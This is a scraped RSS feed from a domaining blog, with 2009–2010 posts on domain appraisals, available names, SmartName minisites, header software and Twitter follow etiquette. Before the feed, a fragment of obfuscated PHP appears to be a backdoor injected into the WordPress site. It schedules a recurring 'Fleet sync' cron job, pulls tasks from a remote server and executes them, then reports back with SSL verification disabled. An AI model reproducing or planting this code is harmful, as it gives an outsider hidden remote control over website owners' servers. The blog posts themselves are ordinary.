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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Graphic Design - DomainTweeter http://www.domaintweeter.com Just another WordPress site Tue, 25 Jan 2022 21:54:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.1 New domaining resource: DomainingMindmap.com — DomainTweeter http://www.domaintweeter.com/new-domaining-resource-domainingmindmap-com/ http://www.domaintweeter.com/new-domaining-resource-domainingmindmap-com/#comments Tue, 25 Jan 2022 20:26:52 +0000 http://www.domaintweeter.com/?p=186 New domaining resource: DomainingMindmap.com October 8, 2009 If you are interested in what domaining tools I use to buy, sell and monetize domain names, I’ve decided to open up my private domaining mindmap to the domainer community and have just launched a new site called DomainingMindmap.com. In case you haven’t used a mindmap before, it’s […]

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New domaining resource: DomainingMindmap.com

October 8, 2009

domaining mindmap screenshot

If you are interested in what domaining tools I use to buy, sell and monetize domain names, I’ve decided to open up my private domaining mindmap to the domainer community and have just launched a new site called DomainingMindmap.com.

In case you haven’t used a mindmap before, it’s an organized brain dump about a subject.   A good mindmap can be invaluable when trying to master a body of knowledge.   I created DomainingMindmap by reviewing my past 15 years of domaining bookmarks and notes and add to it on a daily basis as I discover new tools. My mindmap currently has 512 topics with notes and annotated links to hundreds of tools including…

  • Domain Research – Keyword research, link popularity, traffic, domain pricing, geo tools, site history, business research and trademark tools.
  • Minisite Development and Domain Monetization – Domain parking, mini site development services, graphic designers, copyrighting and content authors.
  • Registering new domains – Domain suggestion and generation tools, bulk check tools and domainer friendly registrars.
  • Catching expired names – Understanding the drop process, determining which names are dropping, and determining the best way to backorder names.
  • Buying and selling domains – Recommended marketplaces, domain brokers,appraisal services and tools to find end users.
  • Domaining blogs, news, forums and guides as well as Twitter domaining tools.
  • Domain conference information, accounting, financing and domain management tools.

I’ve tried to structure the mindmap so that it can be easily browsed and hope it will be helpful to new domainers as well as seasoned pros. It’s currently in beta mode, so any feedback or suggestions are much appreciated!

Thanks.

DomainTweeter

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]]> http://www.domaintweeter.com/new-domaining-resource-domainingmindmap-com/feed/ 832 186 Smartname Review Part II – Customizing Smartshops — DomainTweeter http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops-2/ http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops-2/#comments Tue, 25 Jan 2022 20:26:48 +0000 http://www.domaintweeter.com/?p=163 Smartname Review Part II – Customizing Smartshops March 10, 2010 In yesterday’s post, I discussed my recent experience using SmartName’s SmartShops to create free e-commerce minisites and gave an example of a minisite I created in less than five minutes, HomeDeepFryers.com. Today I spent a few more minutes and improved the look of the site […]

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Smartname Review Part II – Customizing Smartshops

March 10, 2010

In yesterday’s post, I discussed my recent experience using SmartName’s SmartShops to create free e-commerce minisites and gave an example of a minisite I created in less than five minutes, HomeDeepFryers.com.

Home Deep Fryers

Today I spent a few more minutes and improved the look of the site by adding a custom graphic header.   Here’s how…

1. Creating the header. I’m good at a lot of things, but unfortunately graphic design isn’t one of them.   Although I own Photoshop, I used a much simpler program called XHeaderPro to create the header.  This program is specifically designed  to create headers and comes with thousands of sample  templates.    I couldn’t find one specifically for Home Fryers, but choose one with a picture of fried food and added the domain and a slogan…

homedeepfryerslogo600

2. Matching the header size with SmartName’s e-commerce template.

After a bit of trial and error, I determined that 1000 x 95 pixels worked  best for me.  I saved the header in .jpg format and selected a medium compression setting that would look good but still load quickly.

3. I then logged into my SmartName account and edited the Header & Footer section of my HomeDeepFryers.com e-commerce site.

headerandfooteraddbanner

Here’s the updated site with the new header…

homedeepfryersnewheader1

Summary

It took about ten minutes to create and upload the header, but I think the time was worth it.  From a visitor standpoint, people are more likely to browse and shop from a ‘real’ site than a parked page and custom graphics do a lot to establish confidence and trust in a site.

In my next post in this series, I’ll look at adding custom tabs to my Smartshops site to improve the user experience and attract additional search engine traffic.


Related post: Smartname Review Pt. 1: Using Smartshops to Create Free Minisites

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{ 6 comments… read them below or add one }

Leonard Britt 03.10.10 at 11:54 pm

You raise a valid point about customization. I’ve seen a bit of traffic from (many alt TLD) domains in the Smartname platform which wasn’t there previously in parking. However, perhaps since I didn’t spend much time with the setup, the traffic hasn’t converted well. I suppose I should review those with the highest traffic and spend a little time optimizing/customizing the setup.

admin 03.11.10 at 3:32 pm

Thanks Leonard. Since I just started using the service, it’s too soon for me to have a good read on conversion rates, but if the site looks good (custom header, professional ad free layout, etc.) and the products are razor targeted to the exact domain keywords, I’m hoping conversion rates will be much higher than Adsense type minisites.

Arseny 03.12.10 at 4:48 am

Great post!

What I also did with one of the domains that I’ve parked with SmartName – added more categories. So it’s more than just a “Home” categorie.

I’ve googled for the keyword and found more google suggestion at the end of the search engine result pages.

Here’s the example – http://www.Luggage.mx

admin 03.12.10 at 11:17 am

@Arseny – Great tip and nice domain. Actually did this yesterday on my example site and am writing a blog post with a walk through on the best way to add relevant, highly searched tabs. Hope to post it later today.

Rob Lafaye 05.12.10 at 5:54 pm

SmartName looks nice but from what I understand the Instant Shops are only PPC . There is no PPA, affiliate commissions or lead generation revenue being shared which means the shops are worthless except to add visual appeal to “your domain” that is being leveraged to present merchants with customers and they’ll give you the same thing that you were getting with traditional parking.

In reality, all of these so called product portals are not worth anything if you have to put it on the platform in the first place.

In other words, if you don’t have the money to open your own “pink-scarves.com” store then how do you think you’ll make money on the a platform like Epik or SmartName.

Buyer beware!

admin 05.13.10 at 1:18 pm

@Rob – I’d also like to see an option of having affiliate commissions vs. PPC – not sure if it would pay more or less, but would be nice to have the choice. As to determining the worth of these types of services, I look for three things…

1. If the domain is already getting traffic (e.g. type-ins), can it increase the revenue per visitor? Done right, good looking storefronts can instill more user confidence than parked pages and encourage visitors to spend time clicking on more products.

2. Can the service generate new traffic to a domain by letting me create sites which are indexed by major search engines? I’ll be writing a blog post about this in the future, but in my initial tests of Smartshops, I’m receiving a steady stream of search engine referrals each day that I wouldn’t have had before.

3. Will the service help me increase the marketability of the site when approaching end users? This one is in the eye of the beholder, but having an ‘active’ site can be an advantage when negotiating a final price and also helps to demonstrate the value of the name.

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]]> http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops-2/feed/ 17 163 DomainTweeter — Domaining and mini site development blog http://www.domaintweeter.com/domaintweeter-domaining-and-mini-site-development-blog-2/ http://www.domaintweeter.com/domaintweeter-domaining-and-mini-site-development-blog-2/#comments Tue, 25 Jan 2022 20:26:46 +0000 http://www.domaintweeter.com/?p=139 Available names for saturday and a few auction picks February 27, 2010 Available Names The following exact match domains are available as of the time of this post for hand registration and can be registered with any registrar.  All have Valuate.com appraisals of over $500 and are suitable for development or resale. 1. NappyChangingBag.com – […]

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Available names for saturday and a few auction picks

February 27, 2010

Available Names

The following exact match domains are available as of the time of this post for hand registration and can be registered with any registrar.  All have Valuate.com appraisals of over $500 and are suitable for development or resale.

nappychangingstats

1. NappyChangingBag.com – Valuate appraisal of $1400. Product examples.  Notes:  Would be a great candidate to list on BargainDomains.  As you can see in the above graphic, since it meets their requirements ($1000+ appraisal with sufficient search volume, the ‘Sell It’ button will let you immediately list it there.

2. CeramicBracelet.com – Valuate appraisal of $960. Here are some product examples and a list of  manufacturers.

3. WirelessComputer.us – Valuate appraisal of $730.  1900 Google searches per month at $3.21 per click.

Auction Picks

I also wanted to include a few interesting auctions  I came across this morning..

1. DoubleBeds.com (Godaddy Auctions) – Valuate.com appraisal of $60,000 – current bid of $501.   This phrase receives over 14,000 monthly searches on Google with an average CPC of $1.59.

2. WallRacks.com (Godaddy Auctions) – Valuate appraisal of $6,000 – current bid of $15.  This phrase receives over 18,000 monthly searches on Google with an average CPC of $2.27.

That’s it for today. If you are interested in receiving future available domains…

  • Subscribe here to receive 2 minute advance e-mail notification of available names.
  • Follow me at @DomainTweeter.
  • Since many names I post receive simultaneous registrations, you may want to use a fast registrar and have your billing information pre-programmed. Or use a program like Roboform to fill in your information.

Also, if you’d like to see some of my favorite domaining tools, checkout my new DomainingMindmap site.

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.AU Dropcatching – Investigating the possibilities

February 17, 2010

Just added Drop.com.au to my domaining mindmap after reading today’s post by OzDomainer . This is a domain space I’ve largely overlooked, so I thought I would spend a few minutes to see if I’m missing out on a lucrative market segment.

I started by looking at some of the recent .au sales listed on Drop.com.au…

carparts.com.au $18,011
printing.com.au $9,221
motorhomes.com.au $5,556
currencytrading.com.au $5,205
livemusic.com.au $4,501
financialadvisor.com.au $3,889
audiobooks.com.au $3,501
motorsport.com.au $2,531
windturbines.com.au $2,001

I’m not too familiar with .au pricing, so I ran the list through valuate.com and came up with the following…

auvaluations

Next, I wanted to see more aftermarket sales, so I used a few of the  historical pricing resources from my mindmap.

domainpricingresources21

I started with one of my favorite resources, NameBio.com which I use frequently for .com valuations,  however it only contained the following 4 .au sales….

namebioscreenshot

It’s always good to try a few different tools, so next I used DomainTools historical pricing tool which located the following high dollar sales…

ausaleshistory

Summary

Based on my quick research, it looks like there are some  interesting  opportunities in the .au namespace.    If you’d like to get involved,  Drop.com.au offers drop catching memberships for a one time fee of $250.00 AUD with a no-catch no-pay guarantee.  They also offer an aftermarket auction membership for $9.95 AUD.

I also came across DNTrade.com.au, a domaining forum dedicated to the .au namespace.

As with any namespace, before making significant purchases, you may want to investigate development potential including current search demand and CPC for .au businesses as well as possible monetization options (as they are likely to differ from US based businesses due to shipping concerns and other factors).

Finding additional domain tools

If you are interested in seeing some of the other tools I use to find, develop and monetize domains you can explore my Domaining Mindmap here.

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Analyzing Snapnames Mardi Gras Extended Auction by Pagerank/Valuate.com appraisals

February 15, 2010

Snapnames showcase auction ends tomorrow at 3:15PM EST. There are currently 24 domains with bids, but as usual expect most of the heavy bidding to occur in the last hour. There have already been several good posts about tomorrow’s auction (TheDomains,TeenDomainer), so I thought I would take a different approach and sort the dataset I analyzed using Valuate.com/Estibot.

9 Domains with PageRank 3 or Higher*

  • DomainStats.com – PR6
  • Marshall.com – PR5
  • Coast.net – PR5
  • HomeSchooling.com – PR4
  • Joker.org – PR
  • APW.com – PR4
  • MYBP – PR3
  • Jacob.com – PR3
  • HFC.net – PR3

* Using PageRank data from Estibot.   If bidding, be sure to doublecheck to make sure PR is genuine.  Also wanted to note I’m receiving Google security messages for the first two domains mentioned.

Domains with bids lower than their Valuate.com appraisals

  • woodshutters.com 10,000  current bid 63,000 valuate appraisal
  • swf.net    2800    12000
  • weak.net    2100    5400
  • ppc.info    1271    3500
  • 3x.org    1000    6100
  • t4.org    1000    1600
  • ilovenyc.com    775    920
  • redlips.com    625    6500
  • ticketplus.com    380    1300
  • crispyduck.com    350    1900
  • forextradingtool.com    325    23000
  • cuteboy.com    325    7800
  • badloans.org    325    1800
  • hotjobs.in    300    3000
  • advise.in    240    3000

No reserve domains with Valuate appraisals of $1000 or greater

Domain Valuate appraisal
shortsleeveshirts.com 28000
forextradingtool.com 23000
associatesdegree.co.uk 18000
flannelshirts.co.uk 7700
stretchmarkremoval.co.uk 7200
exerciseplans.com 7000
samedayloan.net 6900
movethis.com 5200
onlinemastersdegrees.net 4000
kingbeds.net 3000
selftanner.co.uk 2500
49r.net 2300
l50.net 2200
clinch.org 2000
crispyduck.com 1900
smallrug.com 1900
badloans.org 1800
electricbicycles.de 1800
londonrentalcar.co.uk 1800
dchr.com 1600
dieselfuelfilter.com 1600
motorcyclefinancing.org 1400
nylimoservice.com 1400
tennisshops.com 1400
ticketplus.com 1300
dmox.com 1300
straplessgowns.com 1300
40yearloans.com 1200
freshwaterpearlbracelet.com 1200
nvoc.com 1200
foldupbeds.com 1100
athleticwalkingshoes.com 1000
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Domainers – be careful when using keyword tools in January

January 19, 2010

If you are using Google’s keyword tool to check keyword demand, remember that by default it checks the previous month.     Since demand for many items spikes in December, using this tool in January can provide greatly inflated results.

choc1

For example, I was just checking availability for ‘chocolate gift tower’.   Google’s keyword tool showed 720 monthly searches in December.   However, expanding these results by selecting ’show all columns’ reveals that the term gets about half that amount of searches on most month’s of the year.

choc2

I decided to purchase ChocolateGiftTower.com anyway, but now realize that demand for this product won’t really begin to ramp up until the second  half of the year.

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7 Available domains for registration valued at $400 – $1,200

January 19, 2010

I’ve been working on a few new projects (which I hope to blog about shortly), but since it’s been a while I wanted to post a short pre-screened list of available exact match domains with search demand.   I’ve used Valuate.com to quickly summarize demand and CPC and have linked to product examples where possible.

All are available as of 3:45PM this afternoon.

temppost1

Product examples:

Domain notes:

  • The .net version of OnlineDistanceMBA.com is a live site (lead generation).
  • BusinessPhones.us is available (even though Valuate.com says all extensions taken)
  • One of the .com domains listed above has a  developed site using an IDN (co.nz)

Additional Names for Sale:  I’m also offering the following names today via Sedo.

  • CheapMobileContracts.com –  now in Sedo auction here (ends 1/21).   Multiple extensions registered with Cheap-Mobile-Contracts.com a fully developed site.  Very low reserve considering CheapMobileBroadband.com sold for $4,900.
  • TeterboroNJ.com – exact match GEO name for Teterboro, NJ.  Valuate.com appraisal $890, Estibot $12,000
  • SecureSSLCertificate.com – $6.83 CPC.  Good for minisite or review site.  Many targeted affiliate programs (Netsol, Geotrust, GoDaddy)

That’s it for today. Most names posted go within minutes. If you are interested in receiving future available domains…

  • Subscribe here to receive 2 minute advance e-mail notification of available names.
  • Follow me at @DomainTweeter.
  • Since many names I post receive simultaneous registrations, you may want to use a fast registrar and have your billing information pre-programmed. Or use a program like Roboform to fill in your information.

As always,  any feedback / comments  appreciated.

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{ 2 comments }

What I like about Latonas.com auction platform | suggestions

December 15, 2009

Just got around to taking a look at Rick Latona’s new auction platform, Latonas.com and like what I see.   Here’s what I think he is doing right…

1. I can see important domains stats like cost per click (CPC), exact Google searches at a glance for each listing.

This is a big time saver.   If I’m considering bidding on a keyword name, the first thing I do is run it through Google’s keyword tool to see search demand and CPC.   Thanks Rick for saving me some time.  Hopefully, this will encourage better quality listings and bring back some frustrated buyers – no more researching  hundreds of names only to find out that 95% of them have no real demand.

2. Listings and descriptions can be easily scanned from the main auction page. Much nicer than hoverable popovers or small description links that most buyers never click.   It’s always surprised me how many auction platforms bury descriptions a level or two deep and make it hard for sellers to highlight the benefits of their domain and buyers to learn about each domain.

latona

3. Descriptions seem to be more metric based and less ‘fluff’. Don’t know if this is a result of system programming or good human editing, but many of the domain descriptions are actually helpful  (e.g. number of incoming links and pages indexed by Google).  I know these factors can change quickly when a name changes hands, but they can contribute to the value of a name and are good to be aware of.

4. Nice look at feel, including a custom graphic for each name. If a name is worth hundreds or thousands of dollars, it’s probably worth having a graphic artist spend a few minutes making up a good graphic for it.   The only place I have seen this before is at DotSauce’s AQDN.com. It’s nice to see a major auction platform include this and is a very nice touch.

Suggestions

I know the site is still in beta mode, but here are a couple of features I hope they consider adding down the road…

  • Simplified view – I like the detailed info, but some might find it useful to have an option for quick summary view.   Ideally, it would be nice to be able to cut and paste all domains listed on a page to quickly plug them into other services like Valuate.com.
  • Ability to export – The ability to export auction data to .csv or excel format might be helpful for some advanced domainers who have their own tracking systems.
  • Advanced search capability – As a big keyword domainer, I would love to have the ability to search for specific demand/CPC/etc.   E.g. list all .com domains with a CPC over $2 and more than 5,000 exact searches per month.

I think it makes good sense to test the platform out with a lower volume charity auction and wish Rick and Whypark the best of luck in this week’s auction.   If you are interested in trying out the system or bidding in the auction you can follow this link.

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{ 1 comment }

Part 2: 15 names valued at $4,210 by Valuate.com

December 4, 2009

Earlier today, I blogged about using Francois’ Valuate.com service to analyze 15 available domains.

Here is an overview of the results…

  • The appraisals varied from $110 – $680
  • Total appraisal for all 15 names was $4,210
  • Highest CPC was $11.50

I listed 7 of the names in my first post – all have since been registered.    Here is the complete list (including the 8 additional names which were obscured in my original post).   The 8 additional names are all available as of 10:30PM tonight.

names11

If you’re interested in receiving future available domain lists, here’s the link to sign up to my free domain update newsletter.

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Available for registration: 15 names valued at $4,210 by Valuate.com (part 1/2)

December 4, 2009

I came across some available exact match .com names today and thought it would be interesting to run them through Francois’ new Valuate.com service.

Here is an overview of the results…

  • The appraisals varied from $110 – $680
  • Total appraisal for all 15 names was $4,210
  • Highest CPC was $11.50

All names are currently available for registration as of the time of this post.   Here is a screenshot listing 7 of the domains:
names1c

If you would like  to see an advance copy of the 8 additional domains (obscured above), signup for my free e-mail newsletter here.   I’ll be sending out part two of this post to my subscribers before publishing it.

In the meantime, you might want to check out my latest site – DomainingMindmap.com,  my personal mindmap containing the domaining tools I use to find, develop and sell domains.

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Available .coms with search demand, including one with $26 CPC.

November 25, 2009

Wanted to pass along the following  exact match .com keyword domains which are currently available for hand registration (as of 3:00 PM).  All have good search demand with numerous Adwords advertisers. Average cost per click ranges from $2.14 to $26.

1. ThermalPhotoPrinters.com:    (390/2900 searches per month, $8.31 CPC)

thermalprinters

2. DoubleDVDCases.com (880/3600 searches per month, $2.14 CPC)

doubledvdcases

3. RAIDDataRecoveryService.com:    (260 exact monthly searches, $26.32 CPC )

Search demand is a little less than what I usually look for, but the high $26.32 CPC should more than make up for this.   Data recovery domains tend to do especially well with parking and Adsense.  In case you aren’t a techie, RAID stands for a redundant array of disks.  RAID setups are typically used by larger organizations to protect mission critical data.  When these arrays fail, companies often pay thousands of dollars to salvage the data – hence the very high CPC.

raiddatarecovery

That’s it for today. Most names posted go within minutes. If you are interested in receiving future available minisite domains…

  • Subscribe here to receive 2 minute advance e-mail notification of available names.
  • Follow me at @DomainTweeter.
  • Since many names I post receive simultaneous registrations, you may want to use a fast registrar and have your billing information pre-programmed. Or use a program like Roboform to fill in your information.

As always, any feedback / comments  appreciated.

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{ 8 comments }

New domaining resource: DomainingMindmap.com

October 8, 2009

domaining mindmap screenshot

If you are interested in what domaining tools I use to buy, sell and monetize domain names, I’ve decided to open up my private domaining mindmap to the domainer community and have just launched a new site called DomainingMindmap.com.

In case you haven’t used a mindmap before, it’s an organized brain dump about a subject.   A good mindmap can be invaluable when trying to master a body of knowledge.   I created DomainingMindmap by reviewing my past 15 years of domaining bookmarks and notes and add to it on a daily basis as I discover new tools. My mindmap currently has 512 topics with notes and annotated links to hundreds of tools including…

  • Domain Research – Keyword research, link popularity, traffic, domain pricing, geo tools, site history, business research and trademark tools.
  • Minisite Development and Domain Monetization – Domain parking, mini site development services, graphic designers, copyrighting and content authors.
  • Registering new domains – Domain suggestion and generation tools, bulk check tools and domainer friendly registrars.
  • Catching expired names – Understanding the drop process, determining which names are dropping, and determining the best way to backorder names.
  • Buying and selling domains – Recommended marketplaces, domain brokers,appraisal services and tools to find end users.
  • Domaining blogs, news, forums and guides as well as Twitter domaining tools.
  • Domain conference information, accounting, financing and domain management tools.

I’ve tried to structure the mindmap so that it can be easily browsed and hope it will be helpful to new domainers as well as seasoned pros. It’s currently in beta mode, so any feedback or suggestions are much appreciated!

Thanks.

DomainTweeter

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]]> http://www.domaintweeter.com/domaintweeter-domaining-and-mini-site-development-blog-2/feed/ 6 139 XHeaderPro header design software (pre-release review) — DomainTweeter http://www.domaintweeter.com/xheaderpro-header-design-software-pre-release-review/ http://www.domaintweeter.com/xheaderpro-header-design-software-pre-release-review/#comments Tue, 25 Jan 2022 20:26:44 +0000 http://www.domaintweeter.com/?p=111 XHeaderPro header design software (pre-release review) March 9, 2010 I just purchased an advance copy of XHeaderPro (being released tomorrow) and thought I would take a few minutes to highlight some of its features.  The program is made by the same company which makes XSitePro, a turn key web site building program which sells for […]

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XHeaderPro header design software (pre-release review)

March 9, 2010

I just purchased an advance copy of XHeaderPro (being released tomorrow) and thought I would take a few minutes to highlight some of its features.  The program is made by the same company which makes XSitePro, a turn key web site building program which sells for $297.

XheaderPro ($37) is a much simpler program which does one thing and does it well – it lets graphically challenged users (like me) create professional looking headers in just a few minutes.   It’s basically a turn key web site header designer which works as follows…

  • Select one of 5000 graphic templates to start with
  • Add text or additional graphics and arrange them in any order
  • Add advanced features (e.g. outline, drop shadow, transparency, glow, etc.) by using check boxes and sliders
  • Resize the header to match your site or blog and use the program’s example headers to select a final size and quality setting.
  • Headers can be saved in JPG or PNG format as well as the programs proprietary XHF format which allows you to edit the header objects at a later time.

Here is a quick screen shot tour I made of my initial experience with the program…

templateselector

Template selector lets you choose from 5000 templates to start your design

Add text and graphics to your template and select special effects and color palettes.

Add text and graphics to your template and select special effects and color palettes.

changeheadersize

Resize header to fit your web site or blog template.

Final header can be saved as a JPG or PNG file

Final header can be saved as a JPG or PNG file

Quality level wizard lets you reduce file size of the header without worrying about compression settings.

Quality level wizard lets you reduce file size of the header without worrying about compression settings.

Summary

In my opinion, the best part of this program is its 5000 graphical templates and the ability to customize them without using additional graphics programs like Photoshop.   The interface is quite easy to use and is very user friendly.    I have a sneaking suspicion that even a few graphic designers may use this program to quickly prototype headers for clients as headers can be created in about 5 minutes a piece and the quality rivals many of the header template services.

The program is scheduled to launch tomorrow morning and will be selling for $47, however I was able to purchase a discounted copy ($37) this afternoon by visiting their site and clicking on their ‘free trial’ button.  This presented me with a ‘Download FREE Copy’ screen.  After entering in my contact info I received a screen which gave me the discounted $37 offer.

Relationship Disclosure / Hype Warning: I’ve been an XSitePro user for several years and am a member of their affiliate program.  I’m a big fan of their software, but think that their sales pages are a little long and are written in a typical Internet Marketing sales page style.   That said, both products are first rate.

{ 2 comments… read them below or add one }

TeenDomainer 03.09.10 at 10:29 pm

I tried out this program and I like it when creating simple headers its quick and easy to use.

Good review

admin 03.09.10 at 11:34 pm

@TeenDomainer – Thanks – I was pretty excited to try it out as my graphic design skills are definitely limited!

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]]> http://www.domaintweeter.com/xheaderpro-header-design-software-pre-release-review/feed/ 6 111 How to avoid being a Twitter Twerp! — DomainTweeter http://www.domaintweeter.com/how-to-avoid-being-a-twitter-twerp/ http://www.domaintweeter.com/how-to-avoid-being-a-twitter-twerp/#comments Tue, 25 Jan 2022 20:26:43 +0000 http://www.domaintweeter.com/?p=99 How to avoid being a Twitter Twerp! March 15, 2009 [Part  2 of my Domaining on Twitter series.  Part 1 is located here.] If you are new to Twitter, you may be tempted to follow everyone in sight trying to build your list of followers quickly.  In this post, I’ll give 5 tips to increase […]

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How to avoid being a Twitter Twerp!

March 15, 2009

[Part  2 of my Domaining on Twitter series.  Part 1 is located here.]

If you are new to Twitter, you may be tempted to follow everyone in sight trying to build your list of followers quickly.  In this post, I’ll give 5 tips to increase your chances of being followed and some advice to avoid being penalized for excessive following.

Don’t look like a newbie or a spammer

The first thing you want to do is to take a few minutes to customize your Twitter profile.  Why? Because that’s what people see when deciding whether to follow you back.   Spammers are notorious for not taking the time to change the default brown icon (called a brownie) and for not including a web site URL.   As a result,  many Twitter users ignore these types of follow requests and some use Twitter’s ‘block’ command to report them as spam.

1. Take a minute to upload a photo of yourself,  or logo or graphic that describes your business.   Even if you don’t have anything great, just uploading something will set you apart.   Don’t skip this step, even if you have to upload a stock photo – you can always change it later.

2. Enter the URL of your web site. If you have a company site great.  A  personal blog is good too.   Or you could enter the URL of your LinkedIn profile if you have one.  Don’t have any of those? Many people just glance at the URL and don’t take the time to visit the site, so even a ‘coming soon’ page may be worth listing.  Tip: Only the first 17 characters of your URL are displayed in your profile, so skip the ‘www.’ (e.g. http://YourSite.com) to save space.

3. Post something in your bio field. This should be a well-crafted description designed to get people interested in following you.  It can be detailed and professional or short and casual.  If you want to connect with domainers, you can improve your follow rate by including the word ‘domain’ or ‘domaining.’

4. Post at least 5 Tweets. Nobody wants to follow someone who doesn’t use Twitter.    Being new is ok, not posting anything isn’t.   Not sure where to start?  How about an initial tweet about how you are new to Twitter.  Follow it up later  with a description of what you just did (e.g.  followed 10 of my favorite domainer bloggers).  Then post a URL or two that you found interesting – maybe something you read on Domaining.com.   Almost anything is ok, but don’t post affiliate links or spammy stuff.

Congratulations.  You just set yourself apart from thousands of spammers and one time Twitterers.  Now your follow requests stand a chance of being followed…

5. What your following / follower ratio says about you…

The next thing people look at when deciding to follow you is your following/follower ratio or Twitter ratio.    I typically come across four types of users…

Followers – Typically following 1-100 users with nobody following them.  Probably spend minimal time on Twitter, just using it as a one way source of information.

Normal users – Well balanced ratio.  Either 1 to 1 or following as many as 20% more than are following them.   Probably more active and likely to engage in two way discussion.

Power users / Internet celebs – They follow a reasonable number of people, but are followed by thousands.   These people are generally well known, and include high powered bloggers, well known businesses and even celebrities.   Examples include SEO guru Aaron Wall (232/5,722), marketer Andy Beal (187/7,858) and blogger Brian Clark (497/17,665).  Some Twitter users view this kind of ratio as a status symbol (see What is your Twitter Ratio and Twitter Grader)

Aggressive followers / spammers.   More likely to be concerned with pumping up their number of followers, often regardless of quality.   Often following many more times the number of people than are following them (e.g. following 1000 people with only 200 followers).  I often ignore requests from these types of users or am at least more skeptical of their requests.  There is even a service called Twitter Twerp Scan which helps find and unfollow these types of followers.

Important:  It is possible to be banned by Twitter for excessive following.  What’s excessive? They don’t say, but their spam policy says that it looks at the number of users who have blocked you (relative to those following you) to determine spam.  Twitter caps follow rates at 20% for users who reach 2000 followers, so this may be a good guideline to use as you build more followers.

I sometimes see people following 5 times their number of followers, but I don’t personally feel comfortable doing it.   When I first had less than a hundred followers, I tried to keep my ratio under 2 to 1.  Now with more than 500 followers,  I try to keep my ratio under 20% and I hand review each requester’s profile and their recent posts.

Conclusion

Now that your profile looks respectable and you know how your follow ratio effects the way you are viewed,  have fun exploring Twitter and expanding your network.  Take your time , try to make your Tweets interesting and don’t get too carried away with that follow button!

p.s. If you found this post helpful, please consider helping spread the word by clicking on the following button to automatically retweet this post on Twitter.

retweet2

Related Links:

5 Ways to Find Fellow Domainers on Twitter

Why most domainers don’t get Twitter at first…



{ 7 comments… read them below or add one }

Jeremy Armer 03.16.09 at 3:41 am

Great post!

The follow:tweet ratio is usually the best sign of a sketchy account.
For example, 1987/145/1 would tell me they followed the initial max of 2000, got 145 people who auto follow and only made one post. Add no avatar to that and it doesn’t look good.

Sometimes these are just people who have gotten bad advice on “super amazing follower getter” type sites which is unfortunate.

Jeremy Armer 03.16.09 at 3:43 am

I forgot to say in my example they also got blocked by 13 people which could get the account suspended.

admin 03.16.09 at 4:44 am

Thanks Jeremy. Good point about estimating how many people blocked their accounts by subtracting 1987 from 2000. Just updated my post to mention how Twitter uses the number of people who block you (relative to your number of followers) when banning accounts.

Bill 03.16.09 at 4:45 am

I just started using Twitter a couple weeks back. It takes a little patience to build up your following. I’ve got an email newsletter with plenty of subscribers. I thought mentioning my twitter account in the newsletter would instantly get me hundreds of followers but it didn’t work out that way. It’s a different channel and I think domainers are just now starting to embrace it.

-Bill
http://twitter.com/Nameclerk

Blake Worthington 03.16.09 at 7:47 am

Just joined twitter actually this week…still learning about how to obtain folks from the domaining niche to follow..Not sure if there is a list of popular folks to follow but I’m finding my way slowly but surely got 3 followers so I guess I’m doing something ok :)

Great post also used a bit of the advice as well filling out profile etc.
Thanks
Blake

DNhop 03.16.09 at 6:46 pm

I have not been using Twitter all that long but one thing that amazes me is this;

people literally take the “What are you doing?” to heart and post every thing they are doing when they do it.

Is the world really ready to find out what you are watching for TV tonight or what color should you paint your fingernails? And should the toenails match?

I am not sure how to classify this type of information. Is there a name for it?

Is it LifeSpamming?

admin 03.16.09 at 8:07 pm

Blake: Glad to hear the advice was helpful. Checkout my latest post for some tips on finding fellow domainers on Twitter.

DNHop: I agree and wish they would change it to something like ‘tell us something interesting that’s going on right now.’ I like the LifeSpamming label. LifeSpamming.com is available in case you want to grab it and set up a rant site :)

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]]> http://www.domaintweeter.com/how-to-avoid-being-a-twitter-twerp/feed/ 67 99 Smartname Review Part II – Customizing Smartshops — DomainTweeter http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops/ http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops/#comments Tue, 25 Jan 2022 20:26:37 +0000 http://www.domaintweeter.com/?p=34 Smartname Review Part II – Customizing Smartshops March 10, 2010 In yesterday’s post, I discussed my recent experience using SmartName’s SmartShops to create free e-commerce minisites and gave an example of a minisite I created in less than five minutes, HomeDeepFryers.com. Today I spent a few more minutes and improved the look of the site […]

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Smartname Review Part II – Customizing Smartshops

March 10, 2010

In yesterday’s post, I discussed my recent experience using SmartName’s SmartShops to create free e-commerce minisites and gave an example of a minisite I created in less than five minutes, HomeDeepFryers.com.

Home Deep Fryers

Today I spent a few more minutes and improved the look of the site by adding a custom graphic header.   Here’s how…

1. Creating the header. I’m good at a lot of things, but unfortunately graphic design isn’t one of them.   Although I own Photoshop, I used a much simpler program called XHeaderPro to create the header.  This program is specifically designed  to create headers and comes with thousands of sample  templates.    I couldn’t find one specifically for Home Fryers, but choose one with a picture of fried food and added the domain and a slogan…

homedeepfryerslogo600

2. Matching the header size with SmartName’s e-commerce template.

After a bit of trial and error, I determined that 1000 x 95 pixels worked  best for me.  I saved the header in .jpg format and selected a medium compression setting that would look good but still load quickly.

